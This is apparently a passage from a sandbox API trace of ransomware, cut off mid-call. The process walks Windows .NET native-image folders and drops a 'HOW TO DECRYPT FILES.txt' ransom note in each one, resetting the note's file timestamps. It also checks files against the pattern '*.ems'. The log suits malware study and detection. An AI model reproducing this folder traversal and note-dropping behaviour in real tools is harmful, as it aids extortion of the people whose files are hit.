[0106.029] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.029] CloseHandle (hObject=0x90) returned 1 [0106.029] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\", lpString2="System.Management.Automation.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\System.Management.Automation.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\System.Management.Automation.ni.dll" [0106.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\System.Management.Automation.ni.dll", pszSpec="*.ems") returned 0 [0106.030] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668b4c9e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x668b4c9e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x66a7dd21, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x876400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.Automation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.030] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.030] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bfaae4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x66bfaae4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x66bfaae4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4436815b432c313255af322f4ec3560d", cAlternateFileName="443681~1")) returned 0 [0106.030] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.030] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8970d902, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8970d902, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8970d902, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Management.I#", cAlternateFileName="SYSTEM~1.I#")) returned 1 [0106.093] lstrcmpA (lpString1=".", lpString2="System.Management.I#") returned -1 [0106.093] lstrcmpA (lpString1="..", lpString2="System.Management.I#") returned -1 [0106.093] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.093] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Management.I#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#" [0106.094] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8970d902, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8970d902, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8970d902, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.095] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.095] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8970d902, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8970d902, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8970d902, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.095] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.095] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.095] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8970d902, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8970d902, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8970d902, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="17e443d6c643b83137beb310adee3c48", cAlternateFileName="17E443~1")) returned 1 [0106.095] lstrcmpA (lpString1=".", lpString2="17e443d6c643b83137beb310adee3c48") returned -1 [0106.095] lstrcmpA (lpString1="..", lpString2="17e443d6c643b83137beb310adee3c48") returned -1 [0106.095] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\*.*") returned="*.*" [0106.095] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\", lpString2="17e443d6c643b83137beb310adee3c48" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48" [0106.095] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8970d902, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8970d902, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8970d902, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.156] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.156] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8970d902, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8970d902, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8970d902, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.156] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.156] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.156] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8969b4e1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8969b4e1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8969b4e1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x50a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.Instrumentation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.156] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.156] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.Instrumentation.ni.dll") returned -1 [0106.156] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.Instrumentation.ni.dll") returned -1 [0106.156] lstrcmpiA (lpString1="", lpString2="System.Management.Instrumentation.ni.dll") returned -1 [0106.157] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\*.*") returned="*.*" [0106.157] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\" [0106.157] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\") returned="" [0106.157] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\HOW TO DECRYPT FILES.txt" [0106.157] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management.i#\\17e443d6c643b83137beb310adee3c48\\how to decrypt files.txt")) returned 0xffffffff [0106.157] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management.i#\\17e443d6c643b83137beb310adee3c48\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.207] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.207] CloseHandle (hObject=0x90) returned 1 [0106.208] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\", lpString2="System.Management.Instrumentation.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\System.Management.Instrumentation.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\System.Management.Instrumentation.ni.dll" [0106.208] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\System.Management.Instrumentation.ni.dll", pszSpec="*.ems") returned 0 [0106.208] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8969b4e1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8969b4e1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8969b4e1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x50a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.Instrumentation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.208] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.208] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8970d902, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8970d902, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8970d902, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="17e443d6c643b83137beb310adee3c48", cAlternateFileName="17E443~1")) returned 0 [0106.208] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.208] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581f5655, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x581f5655, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x581f5655, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Messaging", cAlternateFileName="SYSTEM~1.MES")) returned 1 [0106.208] lstrcmpA (lpString1=".", lpString2="System.Messaging") returned -1 [0106.209] lstrcmpA (lpString1="..", lpString2="System.Messaging") returned -1 [0106.209] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.209] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Messaging" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging" [0106.209] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581f5655, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x581f5655, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x581f5655, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.210] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.210] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581f5655, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x581f5655, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x581f5655, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.210] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.210] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.210] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581f5655, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x581f5655, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x581f5655, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9c17882ea083259c36cfd691f7c0835b", cAlternateFileName="9C1788~1")) returned 1 [0106.210] lstrcmpA (lpString1=".", lpString2="9c17882ea083259c36cfd691f7c0835b") returned -1 [0106.210] lstrcmpA (lpString1="..", lpString2="9c17882ea083259c36cfd691f7c0835b") returned -1 [0106.210] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\*.*") returned="*.*" [0106.210] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\", lpString2="9c17882ea083259c36cfd691f7c0835b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b" [0106.211] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581f5655, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x581f5655, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x581f5655, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.211] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.211] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581f5655, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x581f5655, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x581f5655, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.211] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.211] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.211] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58183234, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x58183234, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x581a9394, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x90e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Messaging.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.211] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.211] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Messaging.ni.dll") returned -1 [0106.211] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Messaging.ni.dll") returned -1 [0106.211] lstrcmpiA (lpString1="", lpString2="System.Messaging.ni.dll") returned -1 [0106.211] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\*.*") returned="*.*" [0106.211] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\" [0106.212] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\") returned="" [0106.212] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\HOW TO DECRYPT FILES.txt" [0106.212] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.messaging\\9c17882ea083259c36cfd691f7c0835b\\how to decrypt files.txt")) returned 0xffffffff [0106.212] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.messaging\\9c17882ea083259c36cfd691f7c0835b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.215] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.215] CloseHandle (hObject=0x90) returned 1 [0106.215] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\", lpString2="System.Messaging.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\System.Messaging.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\System.Messaging.ni.dll" [0106.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\System.Messaging.ni.dll", pszSpec="*.ems") returned 0 [0106.216] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58183234, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x58183234, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x581a9394, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x90e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Messaging.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.216] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.216] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581f5655, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x581f5655, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x581f5655, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9c17882ea083259c36cfd691f7c0835b", cAlternateFileName="9C1788~1")) returned 0 [0106.216] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.216] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89d7342e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89d7342e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89d7342e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Net", cAlternateFileName="")) returned 1 [0106.216] lstrcmpA (lpString1=".", lpString2="System.Net") returned -1 [0106.216] lstrcmpA (lpString1="..", lpString2="System.Net") returned -1 [0106.216] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.216] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Net" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net" [0106.216] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89d7342e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89d7342e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89d7342e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.217] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.217] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89d7342e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89d7342e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89d7342e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.217] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.217] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.217] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89d7342e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x89d9958e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x89d9958e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="964a515210f3bad01949e9ae4f83c7b2", cAlternateFileName="964A51~1")) returned 1 [0106.217] lstrcmpA (lpString1=".", lpString2="964a515210f3bad01949e9ae4f83c7b2") returned -1 [0106.218] lstrcmpA (lpString1="..", lpString2="964a515210f3bad01949e9ae4f83c7b2") returned -1 [0106.218] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\*.*") returned="*.*" [0106.218] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\", 